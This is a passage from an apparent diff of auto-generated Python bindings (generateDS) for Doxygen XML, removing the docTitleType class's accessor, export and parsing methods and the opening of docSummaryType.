self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTitleType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docTitleType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docTitleType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docTitleType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docTitleType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docTitleType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docTitleType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - namespaceprefix_ = self.xmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.xmlonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sxmlonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(xmlonly_), input_name='xmlonly')), namespaceprefix_ , eol_)) - for rtfonly_ in self.rtfonly: - namespaceprefix_ = self.rtfonly_nsprefix_ + ':' if (UseCapturedNS_ and self.rtfonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%srtfonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(rtfonly_), input_name='rtfonly')), namespaceprefix_ , eol_)) - for latexonly_ in self.latexonly: - namespaceprefix_ = self.latexonly_nsprefix_ + ':' if (UseCapturedNS_ and self.latexonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slatexonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(latexonly_), input_name='latexonly')), namespaceprefix_ , eol_)) - for docbookonly_ in self.docbookonly: - namespaceprefix_ = self.docbookonly_nsprefix_ + ':' if (UseCapturedNS_ and self.docbookonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sdocbookonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(docbookonly_), input_name='docbookonly')), namespaceprefix_ , eol_)) - for image_ in self.image: - namespaceprefix_ = self.image_nsprefix_ + ':' if (UseCapturedNS_ and self.image_nsprefix_) else '' - image_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='image', pretty_print=pretty_print) - for dot_ in self.dot: - namespaceprefix_ = self.dot_nsprefix_ + ':' if (UseCapturedNS_ and self.dot_nsprefix_) else '' - dot_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='dot', pretty_print=pretty_print) - for msc_ in self.msc: - namespaceprefix_ = self.msc_nsprefix_ + ':' if (UseCapturedNS_ and self.msc_nsprefix_) else '' - msc_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='msc', pretty_print=pretty_print) - for plantuml_ in self.plantuml: - namespaceprefix_ = self.plantuml_nsprefix_ + ':' if (UseCapturedNS_ and self.plantuml_nsprefix_) else '' - plantuml_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='plantuml', pretty_print=pretty_print) - for anchor_ in self.anchor: - namespaceprefix_ = self.anchor_nsprefix_ + ':' if (UseCapturedNS_ and self.anchor_nsprefix_) else '' - anchor_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='anchor', pretty_print=pretty_print) - for formula_ in self.formula: - namespaceprefix_ = self.formula_nsprefix_ + ':' if (UseCapturedNS_ and self.formula_nsprefix_) else '' - formula_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='formula', pretty_print=pretty_print) - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - for emoji_ in self.emoji: - namespaceprefix_ = self.emoji_nsprefix_ + ':' if (UseCapturedNS_ and self.emoji_nsprefix_) else '' - emoji_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emoji', pretty_print=pretty_print) - for linebreak_ in self.linebreak: - namespaceprefix_ = self.linebreak_nsprefix_ + ':' if (UseCapturedNS_ and self.linebreak_nsprefix_) else '' - linebreak_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='linebreak', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docTitleType - - -class docSummaryType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docSummaryType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docSummaryType.subclass: - return docSummaryType.subclass(*args_, **kwargs_) - else: - return docSummaryType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def 